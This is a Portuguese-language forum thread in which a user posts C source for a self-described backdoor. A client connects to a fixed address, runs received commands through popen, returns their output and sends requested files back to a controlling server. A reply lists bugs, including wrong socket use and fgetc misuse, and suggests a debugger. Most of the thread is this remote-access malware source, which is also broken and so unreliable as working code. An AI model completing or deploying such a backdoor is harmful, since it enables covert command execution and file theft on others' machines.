Jump to content

backdoor


Recommended Posts

Posted

estou codando esse backdoor mas eu sou meio que confuso ao escrever mais de um arquivo.

ele conecta, mas o servidor fecha ao dar primeiro comando, anulando ação do while, e também estou meio perdido em criar função de copia de arquivo.

 

// servidor
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>

    int main(void){
        struct sockaddr_in addr = {
            .sin_family = AF_INET,
            .sin_port = htons(1500),
            .sin_addr.s_addr = inet_addr("10.0.0.9")
        };

        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock == -1){
            perror("Sock error");
            exit(1);
        }
        printf("Esperando cliente...\n");
        int b = bind(sock, (struct sockaddr *)&addr, sizeof(addr));

        listen(sock, 1);

        int cnx = accept(sock, (struct sockaddr *)&addr, 0);
        char cmd[256];
        while(1){
            printf("SHELL>");
            fgets(cmd, 256, stdin);
            cmd[strlen(cmd)-1]='\0';

            if(strcmp(cmd, "0")==0){
                send(sock, "0", 1, 0);
                close(b);
                close(cnx);
                close(sock);
                exit(0);
            }
            if(strcmp(cmd, "c")==0){
                char msgB[] = "200";
                send(sock, msgB, strlen(msgB), 0);
                char nFile[256];
                char f[256];
                printf("FILE: ");
                fgets(nFile, 256, stdin);
                send(sock, nFile, strlen(nFile), 0);
                FILE *close = fopen(nFile, "wb");
                
                long int rec;
                while(rec = fgetc(recv(sock, f, 256, 0)) != EOF){
                    fprintf(close, "%c", rec);
                }
                fclose(close);

            }
            char msg[512];
            send(sock, cmd, strlen(cmd), 0);
            recv(sock, msg, 512, 0);
            puts(msg);
        }



       return 0;
    }





//============================================================

//cliente
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>

int main(void){
        struct sockaddr_in addr = {
            .sin_family = AF_INET,
            .sin_port = htons(1500),
            .sin_addr.s_addr = inet_addr("10.0.0.9")
        };

        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock == -1){
            perror("Sock error");
            exit(1);
        }
        int cnx = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
        char cmd[256];
        while(1){
            recv(sock, cmd, 256, 0);
            cmd[strlen(cmd)-1]='\0';
            if(strcmp(cmd, "0")==0){
                close(cnx);
                close(sock);
                exit(0);
            }
            if(strcmp(cmd, "c")==0){
                char nFile[256];
                char f[256];
                char msgEnv = "200\n: ";
                send(sock, msgEnv, strlen(msgEnv), 0);


                recv(sock, nFile, 256, 0);
                FILE *open = fopen(nFile, "rb");
                int byte;
                while(byte = fgetc(open) != EOF){
                    send(sock, byte, strlen(byte), 0);
                }
                fclose(open);


            }
            
        }
        char msg[256];
        FILE *packet = popen(cmd, "r");
        while(fgets(msg, 256, packet) != NULL){
            send(sock, msg, strlen(msg), 0);
        }


       return 0;
    }

 

Posted

Viva,

 

Para comecar, vejo alguns erros no codigo, nomeadamente no servidor:

`while(rec = fgetc(recv(sock, f, 256, 0)) != EOF)`, o `fgetc` precisa de um FILE* como parametro, mas o retorno do `recv` e um inteiro;

Para alem disso, no while-loop estas a `send` para a `sock` (servidor), quando devias estar a enviar para o `cnx` (cliente).

 

Tive a experimentar e o servidor simplesmente sai do programa (codigo 141 no Linux), fiz um debugzinho e era por causa do `send(sock, ...`.

 

Aconselho a usar um debugger, da para iterar passo a passo e perceber melhor o que esta a acontecer 🙂

 

Boa sorte

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.